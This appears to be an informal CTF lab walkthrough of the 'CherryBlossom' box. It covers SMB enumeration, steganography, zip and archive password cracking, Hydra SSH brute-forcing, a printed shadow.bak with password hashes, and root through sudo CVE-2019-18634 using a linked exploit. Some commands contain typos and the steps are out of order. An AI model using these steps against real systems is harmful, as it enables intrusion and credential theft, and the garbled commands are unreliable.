



CherryBlossom

Nmap Results :

```
Nmap scan report for 10.10.246.181
Host is up (0.049s latency).

PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 21:ee:30:4f:f8:f7:9f:32:6e:42:95:f2:1a:1a:04:d3 (RSA)
|   256 dc:fc:de:d6:ec:43:61:00:54:9b:7c:40:1e:8f:52:c4 (ECDSA)
|_  256 12:81:25:6e:08:64:f6:ef:f5:0c:58:71:18:38:a5:c6 (ED25519)
139/tcp    open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp    open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: UBUNTU; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ clock-skew: mean: -19m59s, deviation: 34m37s, median: 0s
|_ nbstat: NetBIOS name: UBUNTU, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: cherryblossom
|   NetBIOS computer name: UBUNTU\x00
|   Domain name: \x00
|   FQDN: cherryblossom
|_  System time: 2020-07-29T16:36:29+01:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2020-07-29T15:36:28
|_  start_date: N/A
```

So lets enumerate on the smb port first and what kind of files are on there and stuff like that.

To list files in the smbshare we have to use the command :

```
smblient -L ////<remoteip>//
```

and we see this folder called anonymous which we can see after logging in anonymously

and here we have a journal.txt file so lets get that file to our local machine and cat it out it looks like a base64 string so we basically transfer that to a new file and pipe it through base64 -d

```
cat journal.txt | base64 -d > newjournal.txt
```

```
lily@cherryblossom:/var/backups$ cat shadow.bak
root:$6$181PobKw$DE0ra9mYvNY5r00gzujCCXF9p08BQ8ALp5clK/E6RwSxxrw97h2IX906cpVHnq1ZUw3a/0CubATvANEv90d9F1:18301:0:99999:7:::
daemon:*:17647:0:99999:7:::
bin:*:17647:0:99999:7:::
sys:*:17647:0:99999:7:::
sync:*:17647:0:99999:7:::
games:*:17647:0:99999:7:::
man:*:17647:0:99999:7:::
lp:*:17647:0:99999:7:::
mail:*:17647:0:99999:7:::
news:*:17647:0:99999:7:::
uucp:*:17647:0:99999:7:::
proxy:*:17647:0:99999:7:::
www-data:*:17647:0:99999:7:::
backup:*:17647:0:99999:7:::
list:*:17647:0:99999:7:::
irc:*:17647:0:99999:7:::
gnats:*:17647:0:99999:7:::
nobody:*:17647:0:99999:7:::
systemd-network:*:17647:0:99999:7:::
systemd-resolve:*:17647:0:99999:7:::
syslog:*:17647:0:99999:7:::
messagebus:*:17647:0:99999:7:::
_apt:*:17647:0:99999:7:::
uuid:*:17647:0:99999:7:::
avahi-autoipd:*:17647:0:99999:7:::
usbmux:*:17647:0:99999:7:::
dnsmasq:*:17647:0:99999:7:::
rtkit:*:17647:0:99999:7:::
speech-dispatcher:*:17647:0:99999:7:::
whoopsie:*:17647:0:99999:7:::
kernoops:*:17647:0:99999:7:::
saned:*:17647:0:99999:7:::
pulse:*:17647:0:99999:7:::
avahi:*:17647:0:99999:7:::
colord:*:17647:0:99999:7:::
hplip:*:17647:0:99999:7:::
geoclue:*:17647:0:99999:7:::
gnome-initial-setup:*:17647:0:99999:7:::
gdm:*:17647:0:99999:7:::
johan:$6$zV7zbU1b$FomT/aM2UMXqNnqspi57K/hHBG8DkyACiV6ykYmxsZG.vLALyf7kjsqYjwW391j1bue2/.SVm91uno5DUX7ob0:18301:0:99999:7:::
lily:$6$3GPKy0ZP$6zLBpNwSBHgo6X5P7kI2JG6loUKZBI0tu0xjZpD71spVdgqM4CTXMFYVScHHTCDP0dG2rhDA8uCl8/Vid3Jck0:18301:0:99999:7:::
sshd:*:18301:0:99999:7:::
```

and if you do file on that newjournal file its png file so maybe there is something stegnagrophy involved here so we use a tool called stegpy which you can download using pip3 install stegpy and this tool deos steg on png and then we get a zip file and apparently if you do file on it says zip and we see its a jpeg so lets fix it to a zip file we use hex editor and edit it to this

```
File: journal.zip
00000000 50 4B 03 04 14 00 09 00 08 00 35 00 4A 50 84 7D
00000010 98 0B 3D 13 01 00 22 13 01 00 0B 00 1C 00 4A 6F
00000020 75 72 6E 61 6C 2E 63 74 7A 55 54 09 00 03 66 9D
00000030 40 5E F0 9D 40 5E 75 78 0B 00 01 04 E8 03 00 00
00000040 04 E8 03 00 00 21 B1 7B 4D 77 F7 05 04 F0 11 E4
00000050 B9 EA AC 4C 7C 1F 70 AB F1 03 47 39 B8 8F 63 EC
00000060 6C AE 14 EB 12 7E B7 D6 5D 86 1F 34 52 25 34 AE
00000070 DB 99 24 A7 55 2F 76 AB FE B0 76 21 91 38 A9 90
00000080 94 61 E1 00 D9 DA 96 4C 0D 8C 71 2D 5E 79 4B 48
00000090 D3 62 58 5F E1 07 0A 2C 60 E0 A3 E0 38 17 1D B1
000000A0 06 A6 87 B6 84 E9 59 BD ED 01 F3 FB 5C 24 42 E2
000000B0 81 4C FF A1 0B 2F 96 21 7A 19 A8 EC BE C5 6E 15
000000C0 B1 AE AB 25 FC E5 28 68 28 22 7E 07 1E 2B 9A A9
000000D0 FB 5B 20 56 CE EA 4C 12 ED D7 BA 05 49 7A BE A8
000000E0 E1 43 BD 55 81 02 03 B3 FC E9 CC DC 93 B2 51 C1
000000F0 C9 48 92 EC B6 AE 57 24 B0 6B EC 83 A7 C4 A6 6C
```

and we get a zip file which we can use fcrackzip to crack the password of and we get a password pretty fast with rockyou.txt

and then it gives us an interesting file with an extension of .ctz which is basically zipped cherry tree notes. So to crack that we will need a john extension called [Zz2john.pl](#) and we download it by using this :

```
sudo apt update && sudo apt install lzma && sudo apt install liblzma-dev
wget https://cpan.metacpan.org/authors/id/P/PM/PMQS/Compress-Raw-Lzma-2.093.tar.gz
tar -xvzf Compress-Raw-Lzma-2.093.tar.gz && cd Compress-Raw-Lzma-2.093
perl MakeFile.PL && make && make test && make install
```

copied : from muriland

and then using this we can open this file in cherry tree and we see the gernal flag and stuff and we find a cherry tree password list and hints of a username called lily soo lets gooo to hydra and try to crack into ssh with these.

and we get a password and we can login to ssh adn then enumerating a little further we find a backup folder in the var directory which if we look into we find a shadow.bak which we can try to crack using hashcat or john. andd we will get a password for the user jonah which we can su to.

and when we get jonah we can cat out the user flag.

Privesc

We can use `sudo -l` and when we use it we find this weird thing that we can see `***` which means this might be vulnerable to a bufferoverflow so lets test it out its the CVE-2019-18634 and to test it we do

```
python -c 'print b("A"* 2000) ' | sudo -S /bin/bash
```

and we get a segmentation fault which means its vulnerable to this exploit and we can use this github repo for the exploit

<https://github.com/saleemrashid/sudo-cve-2019-18634>

Just compile it using gcc

```
gcc exploit.c -o exploit
```

and transfer it using python simplehttpserver and then run it and gg we have a root shell.